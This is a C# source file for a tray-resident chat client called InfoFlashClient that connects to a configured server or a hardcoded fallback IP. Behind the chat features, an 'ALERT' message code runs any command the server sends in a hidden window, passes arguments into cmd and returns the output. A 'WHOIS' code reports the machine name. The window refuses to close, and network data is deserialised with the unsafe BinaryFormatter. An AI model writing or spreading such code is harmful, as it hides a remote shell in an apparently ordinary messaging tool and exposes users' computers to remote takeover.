﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using InfoFlash;
using System.Threading;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Configuration;
namespace InfoFlashClient
{
    delegate void Function();
    public partial class Form1 : Form
    {
        private string Server { get { return ConfigurationManager.AppSettings["Server"].ToString().Trim(); } }
        private int Port { get { return Convert.ToInt32(ConfigurationManager.AppSettings["Port"].ToString().Trim()); } }
        private TcpClient ClientSocket {get;set;}
        private NetworkStream ClientStream {get;set;}
        private Thread ThreadClient { get; set; }
        private bool IsClientRunning { get; set; }
        private NotifyIcon  trayIcon;
        private ContextMenu trayMenu;
        private bool IsReadyToClose { get; set; }
 
        private void SysTrayApp()
        {
            // Create a simple tray menu with only one item.
            trayMenu = new ContextMenu();
            trayMenu.MenuItems.Add("Show Window", ShowHideWindow);
            trayMenu.MenuItems.Add("Exit", OnExit);
 
            // Create a tray icon. In this example we use a
            // standard system icon for simplicity, but you
            // can of course use your own custom icon too.
            trayIcon      = new NotifyIcon();
            trayIcon.Text = "InfoFlash";
            trayIcon.Icon = new Icon(SystemIcons.Application, 40, 40);
 
            // Add menu to tray icon and show it.
            trayIcon.ContextMenu = trayMenu;
            trayIcon.Visible     = true;
            
        }
        private void OnExit(object sender, EventArgs e)
        {
            IsClientRunning = false;
            if (ThreadClient != null)
            {
                ClientSocket.Close();
                ThreadClient.Abort();
            }
            IsReadyToClose = true;
            Application.Exit();
        }
        private void ShowHideWindow(object sender, EventArgs e)
        {
            ShowHideMenu((MenuItem)sender);
            
        }

        void ShowHideMenu(MenuItem mi) {

            if (mi.Text == "Show Window")
            {
                mi.Text = "Hide Window";
                this.WindowState = FormWindowState.Normal;
                this.Show();
            }
            else
            {
                mi.Text = "Show Window";
                this.Hide();

            }
        }
  

         public Form1()
        {
            InitializeComponent();
        }

        private void btnSend_Click(object sender, EventArgs e)
        {
            try
            {
                if (ClientSocket.Connected)
                {
                    ClientStream = ClientSocket.GetStream();
                    this.SendMessage("MSG", txtMessage.Text);
                    

                }
            }
            catch (Exception ex) {
                Console.WriteLine(ex.Message);
            }

        }
        private void ReceivedMessage() {

            while (IsClientRunning==true)
            {
                MessageData data = new MessageData();
                ClientStream = ClientSocket.GetStream();
                if (ClientStream.DataAvailable)
                {
                    BinaryFormatter bf = new BinaryFormatter();
                    data = new MessageData();
                    data = (MessageData)bf.Deserialize(ClientStream);
                    this.ReadMessage(ClientSocket, data);
                }
                ClientStream.Flush();
            }
        
        }
        private void SendMessage(string Code,string Message){
            MessageData info = new MessageData();
            info.Code = Code;
            info.Message = Message;
            Byte[] msg = MessageData.ToByteArray(info);
            ClientStream.Write(msg, 0, msg.Length);
            ClientStream.Flush();
        }

        private void ReadMessage(TcpClient Client, MessageData data) 
        {
            switch (data.Code) {
                case "MSG" :
                        this.msg(data.Message);
                        this.SendMessage("RECIEVED", data.Message);
                        break;
                case "RECIEVED":
                        this.Invoke(new Function(delegate(){txtMessage.Text = "";}));
                        this.msg("ME:" + data.Message);
                        break;
                case "WHOIS":
                    this.SendMessage("PCNAME", System.Environment.MachineName);
                    break;
                case "ALERT":
                        try
                        {
                            string arguments = "";
                            string processFile ="";
                            int argStart = data.Message.Trim().IndexOf(" ");
                            System.Diagnostics.Process p = new System.Diagnostics.Process();

                            if (argStart > -1)
                            {
                                processFile = data.Message.Substring(0, argStart);
                                arguments = data.Message.Substring(argStart + 1);

                                p.StartInfo.RedirectStandardInput = true;
                                p.StartInfo.RedirectStandardOutput = true;
                                p.StartInfo.RedirectStandardError = true;
                                p.StartInfo.UseShellExecute = false;
                                p.StartInfo.CreateNoWindow = true;
                                p.EnableRaisingEvents = true;
                                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(Process_OutputDataReceived);
                                p.ErrorDataReceived += new System.Diagnostics.DataReceivedEventHandler(Process_ErrorDataReceived);
                                p.Exited += new EventHandler(Process_Exited);

                                p.StartInfo.FileName = processFile;
                                p.StartInfo.Arguments = arguments;
                            }
                            else
                            {
                                p.StartInfo.FileName = data.Message.Trim();
                            }
  
                            p.Start();
                            if (arguments.ToLower().Contains(".sql"))
                            {
                                p.StandardInput.WriteLine("exit");
                            }
                            if (processFile.ToLower().Contains("cmd")) {
                                p.StandardInput.WriteLine(arguments);                            
                            }

                            if (argStart > -1)
                            {
                                p.BeginErrorReadLine();
                                p.BeginOutputReadLine();
                            }
                        }
                        catch (Exception ex) {
                            this.SendMessage("ERROR", ex.Message);
                        }
                        break;

                default: break;
            }
        
        }

        void Process_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
        {
            if (e.Data != null)
            {
                if (e.Data.Trim() != "")
                {
                    this.Invoke(new Function(delegate()
                    {
                        this.SendMessage("RECIEVED", e.Data);
                    }));
                }
            }
        }

        void Process_ErrorDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
        {
            if (e.Data != null)
            {
                if (e.Data.Trim() != "")
                {
                    this.Invoke(new Function(delegate()
                    {
                        this.SendMessage("RECIEVED", e.Data);
                    }));
                }
            }

        }
        void Process_Exited(object sender, EventArgs e){}

        private void Form1_Load(object sender, EventArgs e)
        {
            SysTrayApp();
        }
 
        private void btnConnect_Click(object sender, EventArgs e)
        {
           
        }
 

        public void msg(string msg)
        {
            this.Invoke(new Function(delegate()
           {
               if (this.WindowState != FormWindowState.Normal)
               {
                   if (msg != "ME:Started!")
                   {
                       this.WindowState = FormWindowState.Normal;
                       this.Show();
                   }
               }
               else {
                   this.Show();
               }

               txtConversation.AppendText("\r\n" + msg);
           }));
        }
        public static byte[] ToByteArray(object source)
        {
            var formatter = new BinaryFormatter();
            using (var stream = new MemoryStream())
            {
                formatter.Serialize(stream, source);
                return stream.ToArray();
            }
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            MenuItem mi  = trayMenu.MenuItems[0];
            mi.Text = "Show Window";
            if (IsReadyToClose == false)
            {
                e.Cancel = true;
            }
            this.Visible = false;

        }    

        private void tmrConnect_Tick(object sender, EventArgs e)
        {
            if (ClientSocket==null)
            {
                try
                {
                    ClientSocket = new TcpClient();
                    ClientSocket.Connect(this.Server, this.Port);
                    lblConn.Text = "Client Socket Program - Server Connected ...";
                    IsClientRunning = true;
                    ThreadClient = new Thread(ReceivedMessage);
                    ThreadClient.Start();
                }
                catch (Exception ex)
                {
                    lblConn.Text = ex.Message;
                }
            }
            else if (ClientSocket.Connected == false) {
                try
                {
                    ClientSocket = new TcpClient();
                    ClientSocket.Connect("192.168.8.100", 13000);
                    lblConn.Text = "Client Socket Program - Server Connected ...";
                    IsClientRunning = true;
                    ThreadClient = new Thread(ReceivedMessage);
                    ThreadClient.Start();
                }
                catch (Exception ex)
                {
                    lblConn.Text = ex.Message.ToString();
                }
            }
        }
    }
}
